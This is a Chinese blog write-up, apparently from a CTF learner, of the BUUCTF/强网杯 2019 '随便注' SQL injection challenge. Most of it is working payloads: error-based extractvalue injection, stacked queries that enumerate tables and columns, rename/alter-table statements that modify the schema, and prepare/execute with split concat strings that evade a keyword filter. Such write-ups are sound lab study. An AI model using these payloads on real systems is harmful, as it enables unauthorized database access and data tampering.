buuctf | [强网杯 2019]随便注

1' and '0,1' and '1  : 单引号闭合

1' order by 3--+ : 猜字段

 

  1' union select 1,database()# :开始注入,发现正则过滤

 1' and extractvalue(0x0a,concat(0x0a,(database())))# :数据库 :supersqli

 

 0';show databases;#   : 尝试一堆后发现堆叠注入

 0';show tables;#

 

然后就迷了,怎么从表中得到字段呢?后来查资料才知道,show也是可以查字段的。

0';show columns from words;#

 

 0';show columns from `1919810931114514`;#

 


 

 好吧接下来菜鸡真的懵了,贴一位师傅的WP——强网杯2019随便注

开始复现

1.将words表改名为word1或其它任意名字 :    rename table words to new_word;

2.1919810931114514改名为words  :  rename table 1919810931114514 to new_19198;

3.将新的word表插入一列,列名为id : alter table new_19198 add id int unsigned not Null auto_increment primary key;

4.将flag列改名为data : alert table new_19198 change flag data varchar(100);

1’;rename table words to new_word;rename table 1919810931114514 to new_19198;alter table new_19198 add id int unsigned not Null auto_increment primary key; alert table new_19198 change flag data varchar(100);#

 

 1' or 1#

 

欸o(TヘTo)? 凉了?用了师傅的payload也不行,迷啊,但是这种方法很不错,学学习。

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

 


 复现二——BUUCTF-强网杯-随便注

1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

 

1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");PRepare+hello+from+@a;execute+hello;#

  终于成功了我太难了Orz。

mysql中Prepare、execute、deallocate的使用方法  

MySQL 预处理语句prepare、execute、deallocate的使用

MySQL的SQL预处理(Prepared)

PHP MySQL 预处理语句

  1. PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
  2. EXECUTE :执行命令
  3. DEALLOCATE PREPARE:释放命令
  4. 在 SQL 语句中,我们使用了问号 (?),在此我们可以将问号替换为整型,字符串,双精度浮点型和布尔值。

用法:

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name    [USING @var_name [, @var_name] ...] 

{DEALLOCATE | DROP} PREPARE stmt_name

 私认为这个就像是函数一样,prepare准备一个函数的定义,set设定函数的参数,execute传参执行函数,@a这种就像是变量名一样,自己用记得释放。

 

 话说想出这种方法的师傅也也ttql!!!

1 set @a=concat("sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()");
2 
3 prepare dump from @a;
4 
5 execute dump;

 

 

 

posted @ 2019-10-11 21:24  !ao!ao  阅读(...)  评论(...编辑  收藏
Live2D